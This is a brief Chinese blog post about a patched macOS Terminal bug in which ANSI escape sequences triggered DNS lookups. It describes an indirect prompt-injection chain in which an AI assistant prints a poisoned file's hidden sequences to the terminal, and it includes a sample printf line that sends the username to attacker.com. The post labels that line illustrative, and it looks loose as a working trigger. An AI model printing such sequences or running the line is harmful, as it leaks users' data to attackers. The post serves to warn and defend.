macOS Terminal 的 ANSI 逃逸码 DNS 泄露坑
谁能想到连终端这种底层工具都能被 ANSI 逃逸码给“玩”出花来?简单来说,就是通过特定的 ANSI 转义序列,能直接让 macOS Terminal 在后台偷偷发 DNS 请求。
下一篇
OpenClaw 应对间接提示词注入的防御实战 →
这种机制最骚的地方在于它能跟间接提示词注入(Indirect Prompt Injection)结合。想象一下:你用 AI 助手读取了一个包含恶意 ANSI 序列的文本文件,结果 AI 把这些字符直接打印到了你的终端里。此时,你的终端在渲染这些字符时,会自动触发 DNS 查询,从而把你的敏感信息(比如环境变量、路径名等)作为子域名发送给攻击者控制的 DNS 服务器。
虽然 Apple 已经修复了这个行为,但这个漏洞的逻辑很有意思,它揭示了一个残酷的事实:只要 AI 能够控制终端的输出内容,那么终端的渲染机制就可能变成一个隐形的“数据外泄通道”。
对于研究 AI Agent 或自动化工作流的朋友,这里有个实操层面的警示:千万不要盲目信任 AI 输出到终端的任何字符串,尤其是那些带有不可见字符的内容。
具体触发 DNS 请求的 ANSI 序列逻辑大致如下:
# 这是一个示意逻辑,实际攻击载荷会更复杂
# 通过 \e] 或类似的转义序列触发终端特定的资源加载/解析,从而引起 DNS 查询
printf "\e]52;c;$(whoami).attacker.com\a"这次修复虽然堵住了 DNS 泄露的口子,但 ANSI 逃逸码在终端安全里的坑还多得是。以后看到 AI 在终端里刷出奇怪的乱码,建议先留个心眼。